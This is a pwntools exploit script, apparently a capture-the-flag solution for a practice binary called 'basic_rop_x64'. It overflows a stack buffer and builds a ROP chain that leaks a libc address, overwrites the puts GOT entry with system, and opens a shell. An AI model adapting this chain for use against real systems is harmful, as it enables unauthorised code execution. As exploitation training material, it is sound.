from pwn import *

def slog(name, addr): return success(": ".join([name, hex(addr)]))

context.log_level = 'debug'

p = process("./basic_rop_x64")
e = ELF("./basic_rop_x64")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']
read_got = e.got['read']
write_got = e.got['write']

pop_rdi = 0x0000000000400883
bss = e.bss()
rtc1 = 0x0000000000400876
rtc2 = 0x0000000000400860

payload = b'a'*0x40 + b'b'*0x8

# puts(puts_got)
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt)

# read(0, .bss, 0x10)
payload += p64(rtc1)
payload += b'a'*0x8
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(read_got) #r12
payload += p64(0) #r13 -> edi
payload += p64(bss) #r14 -> rsi
payload += p64(0x10) #r15 -> rdx
payload += p64(rtc2)

# read(0, puts_got, 0x10)
payload += b'a'*0x8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(puts_got)
payload += p64(0x10)
payload += p64(rtc2)

# puts('/bin/sh') == system('/bin/sh')
payload += b'a'*0x8
payload += p64(0)
payload += p64(1)
payload += p64(puts_got)
payload += p64(bss)
payload += p64(0)
payload += p64(0)
payload += p64(rtc2)

pause()

p.send(payload)
p.recvuntil("a"*0x40)
puts = u64(p.recvn(6) + b'\x00'*2)
lb = puts - libc.symbols["puts"]
system = lb + libc.symbols["system"]

slog("puts", puts)
slog("lb", lb)
slog("system", system)

p.send(b'/bin/sh\00')
p.send(p64(system))

p.interactive()